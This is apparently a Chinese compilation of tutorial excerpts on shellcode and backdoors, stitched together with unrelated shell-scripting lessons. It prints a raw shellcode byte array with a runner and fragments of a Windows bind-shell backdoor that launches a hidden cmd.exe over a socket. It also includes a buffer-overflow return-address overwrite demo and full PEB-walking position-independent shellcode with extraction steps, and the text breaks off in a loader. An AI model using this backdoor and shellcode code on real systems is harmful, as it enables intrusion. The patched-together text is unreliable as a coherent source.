第三章、后门的编写和ShellCode的提取

合集下载

掌握Shell脚本编程的基本技巧

掌握Shell脚本编程的基本技巧

掌握Shell脚本编程的基本技巧Shell脚本编程是一门在计算机领域中十分重要的技能。

掌握Shell脚本编程的基本技巧可以帮助我们提高工作效率,自动化系统任务以及解决一些简单的问题。

本文将从基础知识、变量与数据类型、流程控制、函数与模块等方面介绍Shell脚本编程的基本技巧。

第一章基础知识Shell脚本编程是在命令行界面下进行的,所以首先我们需要了解Shell的基本知识。

Shell是一种解释器,我们可以通过编写一系列的命令来达到自动化的目的。

在编写Shell脚本之前,我们需要确定所使用的Shell是哪一种,常见的有Bash Shell、Korn Shell等。

并且,我们需要为脚本指定一个解释器路径。

在Shell脚本的开头加上"#!/bin/bash"或者"#!/bin/ksh"等,表示该脚本需要使用哪一种Shell解释器。

第二章变量与数据类型Shell脚本中的变量类似于其他编程语言中的变量,用来存储数据。

在Shell脚本中,变量的定义不需要指定数据类型,它可以根据存储的数据自动判断。

变量的命名规则与其他语言类似,只能由字母、数字和下划线组成,且不能以数字开头。

在Shell脚本中,我们可以通过"$变量名"来引用一个变量。

同时,Shell提供了一些特殊的变量,如$0表示脚本名称,$1、$2等表示命令行参数,$#表示命令行参数的个数等。

第三章流程控制在Shell脚本中,我们可以使用各种语句来控制程序的流程。

常见的流程控制语句包括if语句、for循环、while循环等。

if语句用来进行条件判断,根据条件的真假执行不同的代码块。

for循环用来遍历一个数组或者范围内的值,执行相应的操作。

while循环则会在条件满足的前提下不断执行一段代码。

除此之外,Shell还提供了case语句用于多条件判断,以及break和continue语句用于跳出循环或者跳过本次循环。

ShellCode入门(提取ShellCode)

ShellCode入门(提取ShellCode)

ShellCode⼊门(提取ShellCode)什么是ShellCode:在计算机安全中,shellcode是⼀⼩段代码,可以⽤于软件漏洞利⽤的载荷。

被称为“shellcode”是因为它通常启动⼀个命令终端,攻击者可以通过这个终端控制受害的计算机,但是所有执⾏类似任务的代码⽚段都可以称作shellcode。

Shellcode通常是以机器码形式编写的,所以我们要学习硬编码。

char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42""\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03""\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b""\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e""\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c""\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74""\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe""\x49\x0b\x31\xc0\x51\x50\xff\xd7";int main(int argc, char **argv){_asm{lea eax,shellcodecall eax}}上⾯的就是ShellCode,是汇编对应的机器码,通过反编译就可以看到此机器码。

4.3 后门ShellCode的编写

4.3 后门ShellCode的编写

服务器 Socket()创建套接字 客户端
Bind()绑定到本机地 址上 Listen()在绑定的套 接字上监听链接请求 Accept()接受链接请 求,返回套接字s2
Socket()创建套接字 Connet()服务器
Recv()/send(),收 发数据 Closesocket()关闭 连接
Recv()/send(),收发 数据 Closesocket()关闭连 接
STARTUPINFO si; ZeroMemory(&si,sizeof(si)); si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDL ES; si.wShowWindow = SW_HIDE; si.hStdInput = hReadPipe2; si.hStdOutput = si.hStdError = hWritePipe1; char cmdLine[] = "cmd"; PROCESS_INFORMATION ProcessInformation; //建立进程 ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NUL L,NULL,&si,&ProcessInformation);
int main(int argc, char *argv[]) { int sockfd, numbytes; char buf[MAXDATASIZE]; struct sockaddr_in their_addr;/* 对方的地址端口信息*/
if (argc != 2) { //需要有服务端ip参数 fprintf(stderr,"usage: client hostname\n"); exit(1); } WSADATA ws; WSAStartup(MAKEWORD(2,2),&ws); Windows Socket Dll //初始化

shellcode执行原理

shellcode执行原理

shellcode执行原理
Shellcode是一种用于利用计算机系统漏洞的机器码。

它通常是由黑客编写的,用于利用软件漏洞来执行恶意操作。

Shellcode 的执行原理涉及计算机系统的内存管理和指令执行。

首先,当Shellcode被注入到受攻击的程序中时,它会被当作一段可执行代码加载到内存中。

接着,Shellcode会利用漏洞来改变程序的正常执行流程,使其跳转到Shellcode所在的内存地址。

一旦执行到Shellcode,它会利用系统调用或者其他技术来实现恶意操作,比如获取系统权限、下载恶意文件、或者执行其他任意指令。

在执行过程中,Shellcode可能会利用缓冲区溢出、格式化字符串漏洞、或者其他漏洞来实现其恶意目的。

它可能会修改内存中的数据、覆盖函数返回地址、或者利用其他技术来控制程序的执行流程。

总的来说,Shellcode的执行原理涉及利用漏洞改变程序的正常执行流程,使其执行恶意的机器码,从而实现黑客的攻击目的。

为了防范Shellcode的攻击,软件开发者需要注意安全编程实践,
及时修复漏洞,并且用户需要保持系统和软件的及时更新以防止被利用。

shell后门

shell后门

一.后门的定义最早的后门是由系统开发人员为自己留下入口而安装的,而今天,并非开发人员将后门装入自己设计的程序中,而是大多数攻击者将后门装入他人开发和维护的系统中。

通过使用这样的后门,攻击者可以很轻松地获得系统的访问权,进而获得系统的控制权。

为了更加明确,我们给出后门的以下定义:后门是一个允许攻击者绕过系统中常规安全控制机制的程序,它按照攻击者自己的意愿提供通道。

有许多不同类型的后门,但每种都可以绕过系统的常规性安全检测,使得攻击者获得进入系统的入口。

例如:一个普通的用户可能不得不输入一个口令,这个口令每90天会变换一次。

而有了后门,攻击者可以用一个固定的口令而无需变换。

有了植入系统的后门,攻击者可能根本不需要提供任何口令就可以登录到计算机。

普通用户可能被迫使用某个特别的加密协议访问计算机,而攻击者可以利用后门访问那些使用完全不同协议的计算机。

一旦安装了后门,攻击者如何访问该逻辑单元完全取决于攻击者自己。

许多人用特洛伊木马或者简单地用特洛伊来形容每个后门,这种将术语“后门”和特洛伊木马混淆的做法是非常错误的,应该尽量避免。

后门只是简单地提供通道,而特洛伊木马将自己伪装成某个有用的程序,或者干脆将自己隐藏起来,不要将这些概念混为一谈。

如果一个程序仅提供后门通道,那么它只是一个后门;如果可以伪装成一个有用的程序,那么它便是特洛伊木马。

当然,有的工具可以同时是后门和特洛伊木马。

但是,只有当攻击者企图将后门伪装成某个有用程序时,它才可以称为“特洛伊木马”。

我们用特洛伊木马后门这一不太明确的概念定义这种工具,因为它们伪装成某个友善的程序同时还提供访问通道,利用这一完全定义将有助于人们理解后门与木马的区别。

二.不同类型的后门通道正如我们在前面定义中看到的一样,后门的作用在于为攻击者进入目标计算机提供通道。

这个通道可能表现为不同形式,它取决于攻击者的目的和所使用的特定后门类型。

后门能够为攻击者提供许多种不同类型的访问,包括以下几种:本地权限的提升:这类后门使得对系统有访问权的攻击者突然变换其权限等级成为管理员,有了这些超级用户权限,攻击者可以重新设置系统或访问任何存储在系统中的文件。

学习使用Shell脚本编程进行自动化任务和系统管理

学习使用Shell脚本编程进行自动化任务和系统管理

学习使用Shell脚本编程进行自动化任务和系统管理Shell脚本是一种能够自动执行一系列命令的脚本语言,在Linux和UNIX系统中被广泛使用。

通过编写Shell脚本,可以实现自动化任务和系统管理,提高工作效率和减少人力成本。

本文将按照以下几个章节进行讲解。

第一章:Shell脚本的基础知识Shell脚本是由一系列Shell命令组成的文本文件,可以通过解释器来执行。

常见的解释器有bash、csh、ksh等。

在编写Shell脚本之前,我们需要了解一些基础知识,比如如何声明变量、如何进行条件判断和循环等。

只有掌握了这些基础知识,才能更好地进行Shell脚本编程。

第二章:Shell脚本的文件操作在日常工作中,我们经常需要进行文件的复制、移动、删除等操作。

通过Shell脚本,我们可以完成这些繁琐的文件操作。

在本章中,将介绍如何使用Shell脚本进行文件的创建、复制、重命名等操作。

同时,还将介绍如何使用正则表达式来匹配文件名,实现批量操作。

第三章:Shell脚本的系统管理Shell脚本不仅可以用来操作文件,还可以用来进行系统管理。

比如,我们可以通过Shell脚本来创建用户、设置权限、安装软件等。

本章将详细介绍如何使用Shell脚本来进行系统管理,包括如何添加新用户、如何创建和管理进程等。

第四章:Shell脚本的网络管理随着互联网的快速发展,网络管理变得越来越重要。

通过Shell 脚本,我们可以实现对网络的监控和管理。

本章将介绍如何使用Shell脚本来进行IP地址管理、路由管理、网络流量监控等操作。

同时,还将介绍如何通过Shell脚本实现远程登录和文件传输。

第五章:Shell脚本的定时任务定时任务是指在特定的时间或条件下自动执行某个任务。

通过Shell脚本,我们可以实现定时任务的自动化。

本章将介绍如何使用Shell脚本来实现定时任务,包括如何设置定时任务的时间、如何执行定时任务的命令等。

第六章:Shell脚本的错误处理和日志记录在编写Shell脚本时,我们经常会遇到一些错误。

LinuxShell脚本编程入门

LinuxShell脚本编程入门

LinuxShell脚本编程入门Linux Shell脚本编程入门第一章:Linux Shell脚本入门概述Linux Shell是一种用于操作系统的命令行解释器,通过Shell 脚本编程可以完成各种自动化任务。

本章主要介绍Linux Shell脚本编程的概念和基本原理,以及为什么选择使用Shell脚本。

1.1 Shell脚本的定义和作用Shell脚本是一种用来编写一系列命令的脚本文件,它能够提高工作效率,减少手动操作,实现批量处理和自动化操作。

1.2 Shell脚本的分类Shell脚本分为命令替换和变量替换两种类型,前者通过执行命令获取输出结果,后者通过引用变量实现。

1.3 Shell脚本的优势Shell脚本编程具有灵活性、易学易用、跨平台等优势,可以通过简单的脚本实现复杂的操作,无需编译,适合快速完成任务。

第二章:Shell脚本编程基础本章主要介绍Shell脚本编程的基础知识,包括Shell脚本的定义,脚本文件的创建和执行,以及Shell脚本的语法和常用命令。

2.1 Shell脚本的定义和创建Shell脚本是一个以.sh为后缀名的文本文件,可以使用文本编辑器创建,并使用chmod命令修改文件权限为可执行。

2.2 Shell脚本的执行Shell脚本可以通过两种方式执行,一种是使用命令行直接执行,另一种是在脚本文件中添加执行权限后通过./脚本名执行。

2.3 Shell脚本的语法Shell脚本遵循一定的语法规则,包括注释、变量、表达式、条件判断、循环等语法元素,需要按照规范书写。

2.4 Shell脚本的常用命令Shell脚本中有许多常用的命令可供使用,如echo、read、if、for、while等,熟悉这些命令可以方便编写脚本。

第三章:Shell脚本编程进阶在第二章的基础上,本章介绍Shell脚本编程的进阶技巧,包括函数的定义和使用、文件的读写操作、字符串处理和正则表达式等。

3.1 Shell脚本中的函数函数是Shell脚本中的一种代码块,它可以重复使用,提高代码的复用性和可维护性,通过函数可以将一组命令组织成一个有意义的整体。

Shellcode的原理及编写(基础)

Shellcode的原理及编写(基础)

Shellcode的原理及编写(基础)展开全文1.shellcode原理Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。

另外,Shellcode一般是作为数据发送给受攻击服务的。

Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。

网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。

漏洞利用中最关键的是Shellcode的编写。

由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。

如下链接是shellcode编写的基础,仅供参考/uid-24917554-id-3506660.html缓冲区溢出的shellcode很多了,这里重现下缓冲区溢出。

[cpp] view plain copy1.int fun(char *shellcode)2.{3.char str[4]="";//这里定义4个字节4.strcpy(str,shellcode);//这两个shellcode如果超过4个字节,就会导致缓冲区溢出5.printf("%s",str);6.return 1;7.}8.int main(int argc, char* argv[])9.{10.char str[]="aaaaaaaaaaaaaaaaaaa!";11.fun(str);12.return 0;13.}如上程序,会导致缓冲区溢出。

程序运行后截图如下如上可以看出来,异常偏移是61616161,其实自己观察61616161其实就是aaaa的Hex编码因为调用函数的过程大致是1:将参数从右到左压入堆栈2:将下一条指令的地址压入堆栈3:函数内部的临时变量申请4:函数调用完成,退出内存栈区从高到低[参数][ebp][返回地址][函数内部变量空间]如上程序,如果函数内部变量空间比较小,执行strcpy时候,源字符串比目标字符串长,就会覆盖函数返回地址,导致程序流程变化如图0048FE44前四个00是str申请的四个字节的并初始化为00,后面的48FF1800是函数的返回地址,再后面的411E4000是ebp,既调用函数的基址。

pwn shellcode方法

pwn shellcode方法

pwn shellcode方法pwn shellcode方法是一种利用漏洞来执行自定义代码的技术,通常用于渗透测试和漏洞利用中。

在pwn中,shellcode是一段用于利用漏洞的二进制代码,通常用于获取系统权限或执行任意命令。

下面是一些常见的pwn shellcode方法:1. 编写Shellcode:编写Shellcode是pwn shellcode方法的第一步。

Shellcode通常是一段精简的汇编代码,用于实现特定功能,比如获取shell权限、执行系统命令等。

编写Shellcode需要熟悉汇编语言和对目标系统的理解。

2. 注入Shellcode:一旦编写好Shellcode,就需要将其注入到目标程序中。

通常通过溢出漏洞或其他漏洞来实现Shellcode注入。

注入Shellcode需要对目标程序的内存结构有一定的了解,以确保Shellcode能够被正确执行。

3. 执行Shellcode:一旦Shellcode成功注入到目标程序中,就可以通过触发漏洞来执行Shellcode。

通常会利用栈溢出、堆溢出等漏洞来实现Shellcode的执行。

执行Shellcode可以实现获取系统权限、执行任意命令等功能。

4. Shellcode编码:有时候目标程序会对Shellcode进行过滤或检测,需要对Shellcode进行编码来绕过检测。

常见的编码方法包括Base64编码、逆向Shellcode 等。

编码Shellcode可以增加Shellcode的兼容性和安全性。

5. Shellcode调试:在编写和执行Shellcode过程中,常常需要对Shellcode进行调试和测试,以确保Shellcode的正确性和稳定性。

可以使用调试器如gdb来对Shellcode进行调试,查看Shellcode执行过程中的内存状态和寄存器值。

总的来说,pwn shellcode方法是一种高级的漏洞利用技术,需要对漏洞利用、汇编语言和目标系统有深入的了解。

ShellCode编写

ShellCode编写

变换一下
#include <windows.h> #include <winbase.h> typedef void (*MYPROC)(LPTSTR); //定义函数指针 int main() { HINSTANCE LibHandle; MYPROC ProcAdd; LibHandle = LoadLibrary("msvcrt.dll"); ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system"); //查找system函数地址 (ProcAdd) (""); //其实就是执行 system("") return 0; }
2.4 使用汇编生成ShellCode
先看看如何把system(“cmd.exe”)写成 汇编 思路:
将“cmd.exe”压栈, 将“cmd.exe”地址压栈 Call system函数地址
注意:
Push是四个字节对齐的,因此必须每次压栈ቤተ መጻሕፍቲ ባይዱ 个字节 或者一个字节一个字节赋值
ShellCode编写
内容
1. 2. 3. 4. 5. 什么是ShellCode? 编写ShellCode 通用ShellCode的编写 后门ShellCode的编写 ShellCode编码
1. 什么是ShellCode?
ShellCode就是一段能够完成一定功能(比 如打开一个命令窗口)、可直接由计算机执 行的机器代码,通常以十六进制的形式存在。
;依次找每个函数名称 ;'PteG' ;'Acor'
;ebx = 索引号地址,AddressOf ;ecx = 计算出的索引号值 ;ebx = 函数地址的起始位 ;利用索引值,计算出GetProcAddress的地址

汇编Shellcode的技巧

汇编Shellcode的技巧

汇编Shellcode的技巧汇编Shellcode的技巧本⽂参考来源于pentest我们在上⼀篇提到要要⾃定义shellcode,不过由于这是个复杂的过程,我们只能专门写⼀篇了,本⽂,我们将会给⼤家介绍shellcode的基本概念,shellcode在编码器及解码器中的汇编以及⼏种绕过安全检测的解决⽅案,例如如何绕过微软的 EMET(⼀款⽤以减少软件漏洞被利⽤的安全软件)。

为了理解本⽂的内容,⼤家需要具了解x86汇编知识和基本⽂件格式(如COFF和PE)。

专业术语进程环境块(PEB):PEB(Process Environment Block)是Windows NT操作系统中的⼀种数据结构。

由于PEB仅在Windows NT操作系统内部使⽤,其⼤多数字段不⾯向其他操作系统,所以PEB就不是⼀个透明的数据结构。

微软已在其MSDN Library技术开发⽂档中开始修改PEB的结构属性。

它包含了映像加载器、堆管理器和其他的windows系统DLL所需要的信息,因为需要在⽤户模式下修改PEB中的信息,所以必须位于⽤户空间。

PEB存放进程信息,每个进程都有⾃⼰的 PEB 信息。

准确的 PEB 地址应从系统的 EPROCESS 结构的 1b0H 偏移处获得,但由于 EPROCESS在进程的核⼼内存区,所以程序不能直接访问。

导⼊地址表(IAT):IAT (Import Address Table)由于导⼊函数就是被程序调⽤但其执⾏代码⼜不在程序中的函数,这些函数的代码位于⼀个或者多个DLL 中,当PE ⽂件被装⼊内存的时候,Windows 装载器才将DLL 装⼊,并将调⽤导⼊函数的指令和函数实际所处的地址联系起来(动态连接),这操作就需要导⼊表完成.其中导⼊地址表就指⽰函数实际地址。

数据执⾏保护(DEP):与防病毒程序不同,数据执⾏保护(DEP)是⼀组对内存区域进⾏监控的硬件和软件技术,DEP技术的⽬的并不是防⽌在计算机上安装有害程序。

ShellCode编写实例

ShellCode编写实例

ShellCode编写实例 来源:互联网适合读者:漏洞研究员、入侵爱好者前置知识:C、汇编阅读能力,调试工具使用能力WTF:最近网络上开始流传各种各样的ShellCode,很多朋友都开始关注ShellCode的编写和相关技术的实现方法。

黑防不断推出的“ ...适合读者:漏洞研究员、入侵爱好者前置知识:C、汇编阅读能力,调试工具使用能力WTF:最近网络上开始流传各种各样的ShellCode,很多朋友都开始关注ShellCode的编写和相关技术的实现方法。

黑防不断推出的“菜鸟版Exploit编写指南”系列文章受到很多热爱系统漏洞的朋友们的喜爱,但大家在了解基本的漏洞调试、利用方法后,开始关注更高层次的ShellCode 的编写。

本期“溢出研究”栏目推出了《打造Windows下自己的ShellCode》一文,讲解了Windows下ShellCode的编写步骤,并且以打开DOS窗口的代码为例,详细介绍了编写、提取ShellCode的整个过程。

但开一个本地DOS窗口的功能还是略显简陋。

在网络环境下,ShellCode至少要能开一个网络连接后门,或者能上传下载文件才算有用。

所以本篇文章更实际一点,难度也高些。

希望给国内的网络安全爱好者们送上一道色香味具全的新年大餐!ShellCode编写实例——突破防火墙的ShellCode现在网络上获得控制台的ShellCode要么是在目标机上开一个端口,等待攻击者连接;要么是让目标机主动连接攻击者的主机,俗称反向连接。

但前种方法一般都会被防火墙挡住,而后者反连不但需要攻击者有一个公网IP,而且也会被目标机端禁止外连访问的防火墙挡掉。

那有没有更好的办法呢?当然有了!不然大家认为WTF老大会让我在这里瞎折腾?!第一种方法就是复用攻击时的Socket。

我们在给目标机发送攻击字符串的时候,就使用了Socket,如果还存在,我们把它找到并回收利用。

ShellCode完成的功能是查找进程中所有的Socket并依次判断,如果是那个发送攻击字符串的Socket,就使用它来传文件,开后门等等。

Shellcode

Shellcode

Shellcode整理下Shellcode相关先看下⽹上的定义:Shellcode实际是⼀段代码(也可以是填充数据),是⽤来发送到服务器利⽤特定漏洞的代码,⼀般可以获取权限。

另外,Shellcode⼀般是作为数据发送给受攻击服务器的。

Shellcode是溢出程序和蠕⾍病毒的核⼼,提到它⾃然就会和漏洞联想在⼀起,毕竟Shellcode只对没有打补丁的主机有⽤武之地。

⽹络上数以万计带着漏洞顽强运⾏着的服务器给hacker和Vxer丰盛的晚餐。

漏洞利⽤中最关键的是Shellcode的编写。

由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。

接下来分析下原理:⾸先如果我们⽤C++定义⼀个函数,反汇编通常会这样:push ebpmov ebp ,esp.........mov esp,ebppop ebp⾸先push ebp存储ebp,然后⽤寄存器ebp存储esp,esp是当前堆栈指针。

如果我们此时在函数⾥定义了相关局部变量,那么esp就会做减法,⽐如之前是A,那么esp现在就是A-Size,这个Size的⼤⼩就是局部变量⼤⼩,然后区间[A-size,A]就是⽤来存储新变量的。

当函数退出的时候,就执⾏相反操作,还原esp,然后再还原ebp,之后会继续从栈⾥⾯取出来⼀个值,直接通过这个值跳转到函数退出的位置。

1.定义⼀个空的main函数对应反汇编如下2.继续定义⼀个简单函数:反汇编代码如下:3.定义变量的函数反汇编代码:基本是满⾜上⾯说的那个的,但是仔细观察会发现⼏个问题,⾸先例⼦2没有mov esp,ebp是因为本⾝esp没有变化,也就是没有在函数⾥⾯开变量,然后是在 pop ebp之后⼜多出来⼀个ret但是没有pop aa ,jump aa。

这个地⽅我是这么理解的: return 等价于 pop ebp , retret 等价于 pop A ,jump A这样就能理解了。

shellcode的生成流程

shellcode的生成流程

shellcode的生成流程英文回答:Shellcode generation is a process of creating a sequence of machine instructions that can be injected and executed directly in a compromised system. It is commonly used in exploit development and malware creation to achieve various malicious activities. There are several steps involved in the process of generating shellcode.1. Identifying the target platform: The first step is to determine the target platform for which the shellcode is being developed. This includes identifying the operating system, processor architecture, and other specific details of the target system.2. Understanding the vulnerability: To create an effective shellcode, it is crucial to understand the vulnerability that is being exploited. This involves analyzing the target system, identifying the security flaw,and determining the appropriate technique to exploit it.3. Crafting the payload: The next step is to craft the payload, which is the actual code that will be executed on the target system. This involves writing the shellcode in assembly language or a high-level language that can be compiled into machine code.4. Encoding and obfuscation: To bypass security measures and evade detection, shellcode can be encoded or obfuscated. This can involve techniques such as XOR encoding, polymorphism, or encryption to make the shellcode more difficult to analyze.5. Testing and debugging: Once the shellcode is generated, it needs to be tested and debugged to ensure its functionality and reliability. This involves running the shellcode in a controlled environment or using a debugger to identify and fix any issues.6. Integration into an exploit: Finally, the generated shellcode needs to be integrated into an exploit payload.This involves combining the shellcode with the exploit code that triggers the vulnerability and delivers the payload to the target system.Shellcode生成是创建一系列机器指令的过程,可以直接注入和执行在被攻击的系统中。

使用CC++实现ShellCode编写与提取

使用CC++实现ShellCode编写与提取

使⽤CC++实现ShellCode编写与提取简单来说,shell code 的核⼼就是把代码写成 “与地址⽆关” 的风格,让它不论是在什么环境下都可以被执⾏。

具体注意:使⽤ API 时应该动态调⽤(GetProAddress)不能使⽤全局变量,或者⽤ static 修饰的变量在 shellcode ⼯程中要⾃定义⼊⼝函数确保调⽤ API 之前都已经加载了与之对应的 DLL所有的字符串都要⽤字符串数组的⽅式代替环境搭建⾸先新建⼀个项⽬,这⾥我推荐空项⽬,之后创建⼀个 main.cpp ⽂件:使⽤ Release 模式写代码,这是因为 Debug 模式下的代码在转换成汇编后⾸先都是⼀个 jmp,然后再跳到我们的功能代码处,但 jmp 指令是 “地址相关” 的,所以在转换成shellcode 时就会出错!修改项⽬属性:⾼级配置编写 ShellCode32位#include <windows.h>FARPROC getProcAddress(HMODULE hModuleBase);DWORD getKernel32();int EntryMain(){// get function address :GetProcAddresstypedef FARPROC(WINAPI* FN_GetProcAddress)(_In_ HMODULE hModule,_In_ LPCSTR lpProcName);FN_GetProcAddress fn_GetProcAddress = (FN_GetProcAddress)getProcAddress((HMODULE)getKernel32());// get function address :LoadLibraryWtypedef HMODULE(WINAPI* FN_LoadLibraryW)(_In_ LPCWSTR lpLibFileName);char xyLoadLibraryW[] = { 'L','o','a','d','L','i','b','r','a','r','y','W',0 };FN_LoadLibraryW fn_LoadLibraryW = (FN_LoadLibraryW)fn_GetProcAddress((HMODULE)getKernel32(), xyLoadLibraryW);// get function address :MessageBoxWtypedef int (WINAPI* FN_MessageBoxW)(_In_opt_ HWND hWnd,_In_opt_ LPCWSTR lpText,_In_opt_ LPCWSTR lpCaption,_In_ UINT uType);wchar_t xy_user32[] = { 'u','s','e','r','3','2','.','d','l','l',0 };char xy_MessageBoxW[] = { 'M','e','s','s','a','g','e','B','o','x','W',0 };FN_MessageBoxW fn_MessageBoxW = (FN_MessageBoxW)fn_GetProcAddress(fn_LoadLibraryW(xy_user32), xy_MessageBoxW);// shellcode testwchar_t xy_Hello[] = { 'S','h','e','l','l','c','o','d','e',0 };wchar_t xy_tip[] = { 'L','Y','S','M',0 };fn_MessageBoxW(NULL, xy_Hello, xy_tip, NULL);return 0;}// get module base :kernel32.dll__declspec(naked) DWORD getKernel32(){__asm{mov eax, fs: [30h]mov eax, [eax + 0ch]mov eax, [eax + 14h]mov eax, [eax]mov eax, [eax]mov eax, [eax + 10h]ret}}// get function address :GetProcAddressFARPROC getProcAddress(HMODULE hModuleBase){PIMAGE_DOS_HEADER lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;PIMAGE_NT_HEADERS32 lpNtHeader = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew);if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) {return NULL;}if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {return NULL;}PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);PDWORD lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames);PWORD lpword = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals);PDWORD lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions);DWORD dwLoop = 0;FARPROC pRet = NULL;for (; dwLoop <= lpExports->NumberOfNames - 1; dwLoop++) {char* pFunName = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase);if (pFunName[0] == 'G' &&pFunName[1] == 'e' &&pFunName[2] == 't' &&pFunName[3] == 'P' &&pFunName[4] == 'r' &&pFunName[5] == 'o' &&pFunName[6] == 'c' &&pFunName[7] == 'A' &&pFunName[8] == 'd' &&pFunName[9] == 'd' &&pFunName[10] == 'r' &&pFunName[11] == 'e' &&pFunName[12] == 's' &&pFunName[13] == 's'){pRet = (FARPROC)(lpdwFunAddr[lpword[dwLoop]] + (DWORD)hModuleBase);break;}}return pRet;}.codegetKernel32 procmov rax,gs:[60h]mov rax,[rax+18h]mov rax,[rax+30h]mov rax,[rax]mov rax,[rax]mov rax,[rax+10h]retgetKernel32 endpendmain.cpp#include <windows.h>FARPROC getProcAddress(HMODULE hModuleBase);extern "C" PVOID64 getKernel32();int EntryMain(){// get function address :GetProcAddresstypedef FARPROC(WINAPI* FN_GetProcAddress)(_In_ HMODULE hModule,_In_ LPCSTR lpProcName);FN_GetProcAddress fn_GetProcAddress = (FN_GetProcAddress)getProcAddress((HMODULE)getKernel32());// get function address :LoadLibraryWtypedef HMODULE(WINAPI* FN_LoadLibraryW)(_In_ LPCWSTR lpLibFileName);char xyLoadLibraryW[] = { 'L','o','a','d','L','i','b','r','a','r','y','W',0 };FN_LoadLibraryW fn_LoadLibraryW = (FN_LoadLibraryW)fn_GetProcAddress((HMODULE)getKernel32(), xyLoadLibraryW);// get function address :MessageBoxWtypedef int (WINAPI* FN_MessageBoxW)(_In_opt_ HWND hWnd,_In_opt_ LPCWSTR lpText,_In_opt_ LPCWSTR lpCaption,_In_ UINT uType);wchar_t xy_user32[] = { 'u','s','e','r','3','2','.','d','l','l',0 };char xy_MessageBoxW[] = { 'M','e','s','s','a','g','e','B','o','x','W',0 };FN_MessageBoxW fn_MessageBoxW = (FN_MessageBoxW)fn_GetProcAddress(fn_LoadLibraryW(xy_user32), xy_MessageBoxW);// shellcode testwchar_t xy_Hello[] = { 'S','h','e','l','l','c','o','d','e',0 };wchar_t xy_tip[] = { 'L','Y','S','M',0 };fn_MessageBoxW(NULL, xy_Hello, xy_tip, NULL);Sleep(10000);return 0;}// get function address :GetProcAddressFARPROC getProcAddress(HMODULE hModuleBase){PIMAGE_DOS_HEADER lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;PIMAGE_NT_HEADERS64 lpNtHeader = (PIMAGE_NT_HEADERS64)((ULONG64)hModuleBase + lpDosHeader->e_lfanew);if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) {return NULL;}if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {return NULL;}PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)((ULONG64)hModuleBase + (ULONG64)lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); PDWORD lpdwFunName = (PDWORD)((ULONG64)hModuleBase + (ULONG64)lpExports->AddressOfNames);PWORD lpword = (PWORD)((ULONG64)hModuleBase + (ULONG64)lpExports->AddressOfNameOrdinals);PDWORD lpdwFunAddr = (PDWORD)((ULONG64)hModuleBase + (ULONG64)lpExports->AddressOfFunctions);DWORD dwLoop = 0;FARPROC pRet = NULL;for (; dwLoop <= lpExports->NumberOfNames - 1; dwLoop++) {char* pFunName = (char*)(lpdwFunName[dwLoop] + (ULONG64)hModuleBase);if (pFunName[0] == 'G' &&pFunName[1] == 'e' &&pFunName[2] == 't' &&pFunName[3] == 'P' &&pFunName[4] == 'r' &&pFunName[5] == 'o' &&pFunName[6] == 'c' &&pFunName[7] == 'A' &&pFunName[8] == 'd' &&pFunName[9] == 'd' &&pFunName[10] == 'r' &&pFunName[11] == 'e' &&pFunName[12] == 's' &&pFunName[13] == 's'){pRet = (FARPROC)(lpdwFunAddr[lpword[dwLoop]] + (ULONG64)hModuleBase);break;}}return pRet;}提取 ShellCode打开 studyPE ,拖⼊编译后的 exe,记录代码段⽂件偏移:打开 C32Asm,拖⼊ exe,转到⽂件偏移处,拷贝⼀段连续的 hex 码:这就是我们需要的 ShellCode 了 (o v )ノ使⽤ ShellCode写⼀个 Shell Code 加载器:#include <windows.h>#include <iostream>using namespace std;// x86 shellcodeUCHAR shellcode[] = { 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x5C, 0x53, 0x56, 0x57, 0xE8, 0x72, 0x01, 0x00, 0x00, 0x8B, 0xD0, 0x33, 0xDB, 0x8B, 0x42, 0x3C, 0x39, 0x5C, 0x10, 0x7C, 0x0F, 0x84, 0x9F, 0x00, 0x00, 0x00, 0 // x64 